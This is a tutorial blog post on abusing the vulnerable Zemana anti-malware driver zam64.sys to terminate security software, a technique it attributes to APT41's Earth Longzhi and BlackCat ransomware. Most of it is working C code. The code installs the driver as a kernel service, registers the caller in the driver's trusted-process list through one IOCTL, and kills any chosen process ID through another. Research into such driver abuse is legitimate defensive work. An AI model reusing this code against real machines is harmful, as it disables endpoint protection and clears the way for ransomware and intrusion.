Recently, Malware authors are using byovd(bring your vulnerable driver) too much to kill EDRs/AVs or to become persistent. This tool was used by Earth Longzhi , a subgroup of APT41 or Winnti and BlackCat Ransomware group
They are using the vulnerability in the Zemana AntiMalware software driver zam64.sys and zamgaurd64.sys . They are the same driver which just different names 😐 .There hashes are same. I am using the zam64.sys driver in this tutorial , which is found on the loldrivers here . There are lot of vulnerabilities found in this drivers , all due to no proper checking on the user input. I will be using bug in two IOCTL , which is used to kill process.
Reversing zam64.sys
So, in the IOCTL numbers list , there are many IOCTLs for different processes but the useful one for us is the IOCTL_TERMINATE_PROCESS and IOCTL_REGISTER_PROCESS.
This whole reverse engineering is done very briefly by @VoidSec in his blog post blog . But the main thing to consider here is that the processes which are in the trusted process list are allowed to do IOCTL operation.
Register Service
BOOL InstallDriver(char* Driverpath)
{
SC_HANDLE hSCM, hService;
SERVICE_STATUS Servicestatus;
//establish connection to service control manager
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL) {
printf("[OpenScManagerA] error code: 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
//Check if the service is already running and its state that whether it is running or stop.
hService = OpenServiceA(hSCM, servicename, SERVICE_ALL_ACCESS);
if (hService != NULL)
{
printf("[#] Service Already existing\n");
//Check the state of the service
if (!QueryServiceStatus(hService, &Servicestatus)) {
//error in opern handling or some error
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
printf("[QueryServiceStatus] error code: 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
//If the service is stopped, then start the service
if (Servicestatus.dwCurrentState == SERVICE_STOPPED)
{
if (!StartServiceA(hService,0,NULL))
{
//something error in starting service
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
printf("[StartServiceA] error code : 0x%08X\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
printf("[#] Starting service KillPid\n");
}
//Close Handles
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
return TRUE;
}
//If service is not created before
hService = CreateServiceA(hSCM, servicename, servicename, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
Driverpath, NULL, NULL, NULL, NULL, NULL);
if (hService == NULL)
{
//error creating service
CloseServiceHandle(hSCM);
printf("[CreateServiceA] error code : 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
printf("[#] Service Created Successfully\n");
//START THE CREATED SERVICE
if (!StartServiceA(hService,0, NULL))
{
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
printf("[StartServiceA] error code: 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
return FALSE;
}
printf("[#] Starting service KillPid ..\n");
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
return TRUE;
}
Process terminator
//Exploitaion part of the zam64.sys driver
//opening the handle to the driver zam64.sys
HMODULE hZAM = CreateFileA(TerminatorPath,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hZAM == INVALID_HANDLE_VALUE) {
printf("[CreateFileA] error code : 0x%08x\n", GetLastError());
exit(EXIT_FAILURE);
}
ULONG CurrentPid = GetCurrentProcessId();
ULONG BytesReturned = 0;
//registry CurrentProcessId in the trusted Process List.
int ret = DeviceIoControl(hZAM, IOCTL_REGISTER_PROCESS, &CurrentPid, sizeof(CurrentPid), NULL, 0, NULL, NULL);
if (!ret) {
printf("[DeviceIoControl] Failed to regsiter in trusted process list Code: 0x%08x\n", GetLastError());
CloseHandle(hZAM);
exit(EXIT_FAILURE);
}
printf("[+] Terminating the pid %i\n", pid);
//terminate the process
ret = DeviceIoControl(hZAM, IOCTL_KILL_PROCESS, &pid, sizeof(pid), NULL, NULL, &BytesReturned, NULL);
if (!ret) {
printf("[DeviceIoControl] Failed to kill process id error code: 0x%08x\n", GetLastError());
CloseHandle(hZAM);
exit(EXIT_FAILURE);
}
CloseHandle(hZAM);
Just sending the currentprocessid to register the process first and then sending the pid taken as input from user to kill the process.